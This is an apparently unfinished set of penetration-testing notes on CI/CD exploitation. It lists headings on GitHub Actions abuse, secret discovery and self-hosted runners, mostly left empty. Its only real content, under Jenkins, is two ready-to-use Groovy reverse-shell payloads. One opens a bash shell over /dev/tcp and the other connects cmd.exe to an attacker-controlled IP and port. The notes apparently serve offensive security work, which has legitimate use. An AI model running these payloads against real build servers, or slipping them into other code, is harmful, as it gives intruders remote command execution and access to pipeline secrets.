CI/CD Exploitation [WIP]

Understanding CI/CD

Most of the below relates to GitHub, but the principles apply to pretty much all CICD (Jenkins, Builtkite, CircleCI, GitLab, JFrog)

Github Actions

Automated Actions abuse

Github Enumeration

Identifying Secrets

Identifying Self-Hosted Runners

Github Exploitation

Compromising Self-Hosted Runners

Service-Specific Exploitation

Jenkins

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{kali_ip}/{kali_port};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
String host="{kali_ip}";
int port={kali_port};
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

JFrog